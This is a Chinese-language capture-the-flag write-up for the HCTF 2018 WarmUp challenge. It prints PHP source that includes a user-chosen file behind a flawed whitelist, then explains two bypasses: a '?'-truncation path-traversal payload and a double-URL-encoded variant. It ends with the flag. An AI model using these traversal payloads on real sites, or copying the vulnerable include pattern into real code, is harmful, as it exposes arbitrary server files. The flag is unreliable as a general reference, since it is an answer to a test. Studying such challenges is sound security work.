[HCTF 2018]WarmUp 1
主页面是一个滑稽
得到source.php
观看源码,提示source.php
访问看到源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
通过源码得到hint.php
,尝试包含改文件
得到flag在ffffllllaaaagggg
中
直接包含是失败的,所以这里需要分析源码。
分析file传参
追踪源码的接受参数file
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
判断是否通过$_REQUEST
方法获取file
传参,通过is_string
函数判断必须是一个字符串,emmm:checkFile
自定义函数判断file
所以这里继续追踪到checkFile()
函数
分析checkFile()方法
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
定义了几种可以成功包含文件的条件
第一种可以绕过的条件
1.通过
isset()
判断,如果为空返回false,不为空返回true,这里取反,为空就是true,不为空就是false。还有is_string()
判断,默认是字符串就为true,不为字符串就是false;这里也进行了取反,所以是字符串就是false,不为字符串就是true,所以这里字符串不能为空和不能不是字符串,否则会返回失败。
如果page在whitelist
列表中,则会返回true。
所以如果绕过这里,file传入参数必须是source.php、hint.php
,所以这里没有方法包含ffffllllaaaagggg
第二种可以绕过的条件
2.使用
mb_substr()
方法截取字符串,其中第二个值为截取的结束位置,mb_strpos()会获取第一个字符出现的位置;
所以这里就是通过mb_substr函数配合mb_strpos()获取第一个?出现的位置之前的内容
举例说明
?file=source.php ->传入变为-> source.php? ->通过mb_strpos()截取-> source.php
传入后默认会给我们的文件名加上一个?号,然后通过mb_strpos获取传入的文件名,最后判断文件名是否在whitelist
列表中,如果存在则成功包含文件
这里可以进行绕过,payload如下
?file=source.php?./../../../../../ffffllllaaaagggg
得到flag
flag{adf218fe-948c-4a5d-8245-8bf91ff819d7}
payload分析,由于通过mb_strpos()
函数获取?前面的内容判断是否存在列表,这里source.php、hint.php
都可以为文件名,然后加入?
后面提供传参,因为include()
函数支持./、../
这种相对路径,而且这关flag
刚好在根目录下,所以可以得到flag。
第三绕过的方法
与第二种一样,不过对page
多了一个urldecode()
url解码的过程,这里可以使用二次编码绕过
,将?编码两次进行绕过。
?
的二次编码为%25%33%66
payload如下
?file=source.php%25%33%66./../../../../ffffllllaaaagggg
二次编码的原理是,中间件默认会进行一个url解码,然后传入PHP中又进行了一次解码,所以可以进行二次编码注入